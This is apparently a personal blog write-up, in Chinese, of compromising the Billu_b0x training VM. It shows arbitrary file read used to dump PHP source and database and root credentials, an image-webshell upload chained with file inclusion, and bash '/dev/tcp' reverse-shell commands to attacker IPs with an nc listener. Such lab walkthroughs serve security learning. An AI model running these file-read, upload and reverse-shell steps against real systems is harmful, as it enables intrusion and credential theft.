# Billu_b0x 打靶记录

# 前言

说起来应该算是第一次打这样的靶机,虽然没有独立完成,但是还是学到不少东西,也不知道算是什么难度的反正是看着网上大佬的方法打通了

# 靶机说明

目标是获取 root 权限

环境介绍:攻击机 win10、kail Linux

​ 靶机 billu_b0x (运行与 VMware 中)

网络设置:VM 中均为 Nat 连接模式(否则 nmap 扫不到存活主机)

# 过程记录

# 信息收集

启动靶机这不必多说

image-20220725200859598

先用 nmap 扫描,找到这个靶机的 ip 地址

image-20220725201302238

扫描这个网段存活主机

image-20220725201148762

发现开放了 80 和 22 端口,那么 ssh 和 http 都有了先看看 80 都有什么

image-20220725202635615

看到登录框,但是没有发现 SQL 注入,用 dirsearch 扫描

image-20220725202855639

看到文件很多,先看看都是实现什么功能的

image-20220725202956010

add 上传文件

image-20220725203042625

head.php 是首页的背景图片

image-20220725203140837

images 是三张图片没发现能利用的东西

image-20220725203252626

phpmy 是 phpmyadmin 数据库工具

image-20220725211429058

in.php 是 phpinfo,知道了 php 版本,暂时未发现作用

panel 会被重定向暂时不知道是什么

image-20220725203751630

test 文件提示,要传参 file,感觉这里可能会有任意文件读取 get 传参没反应,post 传参读取 etc/password

image-20220725210934542

读取成功,这里尝试读取其他文件

# 任意文件读取利用

add.php

<?php
echo '<form  method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name=image>
	<input type=text name=name value="name">
	<input type=text name=address value="address">
	<input type=text name=id value=1337 >
    <input type="submit" value="upload" name="upload">
</form>';
?>

c.php(里面发现数据库的账号密码,可以使用)

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }
?>

show.php

<?php
include('c.php');
if(isset($_POST['continue']))
{
	$run='select * from users ';
	$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
echo "<table width=90% ><tr><td>ID</td><td>User</td><td>Address</td><td>Image</td></tr>";
 while($row = mysqli_fetch_assoc($result)) 
   {
	   echo '<tr><td>'.$row['id'].'</td><td>'.htmlspecialchars ($row['name'],ENT_COMPAT).'</td><td>'.htmlspecialchars ($row['address'],ENT_COMPAT).'</td><td><img src="uploaded_images/'.htmlspecialchars ($row['image'],ENT_COMPAT).'" height=90px width=100px></td></tr>';
}
   echo "</table>";
}
}
?>

# 法一,ssh 连接

因为其 22 端口开放,读取 PHP 默认配置文件是 config.inc.php,Linux 系统路径结合 phpmy,./phpmy/config.inc.php 直接查看账户信息

<?php
/* Servers configuration */
$i = 0;
/* Server: localhost [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'localhost';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
$cfg['Servers'][$i]['AllowNoPassword'] = true;
/* End of servers configuration */
$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
/* rajk - for blobstreaming */
$cfg['Servers'][$i]['bs_garbage_threshold'] = 50;
$cfg['Servers'][$i]['bs_repository_threshold'] = '32M';
$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600;
$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M';
?>

看到 root 的账号密码用 ssh 连接

image-20220725212737642

# 法二,文件上传

通过上面找到的账号密码登录 phpmyadmin

image-20220726101939920

在 ica_lab 的数据库表中得到的用户名 biLLu 和密码 hEx_it

image-20220726102053357

去在首页登录

image-20220726102217542

跳转到 panel 页面

<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
		header('Location: index.php', true, 302);
		exit();
	
}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
	unset($_SESSION['logged']);
	unset($_SESSION['admin']);
	header('Location: index.php', true, 302);
}
echo '<hr><br>';
echo '<form method=post>
<select name=load>
    <option value="show">Show Users</option>
	<option value="add">Add User</option>
</select> 
 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);
	
	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}
	
        if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}
	
}
if(isset($_POST['upload']))
{
	
	$name=mysqli_real_escape_string($conn,$_POST['name']);
	$address=mysqli_real_escape_string($conn,$_POST['address']);
	$id=mysqli_real_escape_string($conn,$_POST['id']);
	
	if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
	else
	{
		echo "<br>only png,jpg and gif file are allowed";
		
	}
}
}
?>

通过文件读取获取 panel 的源码

文件上传部分仅允许上传图片文件,但是仅简单判断后缀名,尝试上传图片马文件

image-20220726103940791

上传图片马

image-20220726103923536

利用文件包含执行命令

反弹 shell kali 命令行里输入 nc -lvnp 6666 开始监听,同时 burp 的 post 请求中执行 echo "bash -i >& /dev/tcp/192.168.161.143/6666 0>&1" | bash,注意要将此命令先经过 URL 编码才能发送 (这个 ip 是攻击机的 IP 地址)

image-20220726110853078

连接成功

image-20220726111050889

提权显示需要终端,输入命令 python -c 'import pty;pty.spawn ("/bin/bash")'

image-20220726111155443

python -c 'import pty;pty.spawn ("/bin/bash")' 解释

当我们拿到一个 webshell 的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用 vim、top 等命令时,webshell 就无能为力了。

一般我们都会使用 nc 来接收反弹来的 shell,只需要在目标上 (以 linux 为例) 执行:

bash -i >& /dev/tcp/192.168.2.134/4444 0>&1

本地接收一下就 ok 了,但是反弹回来的 shell,或多或少都会存在问题,比如当我想使用 top 命令时就会提示没有 tty 。简单的来说就是没有上下文环境,这样的话, vimsudo 等操作都做不了,有时候还需要其他工具,很麻烦。

溢出提权

python -c 'import pty;pty.spawn("/bin/bash")'

来得到交互的 Shell, 一般的系统都默认安装 python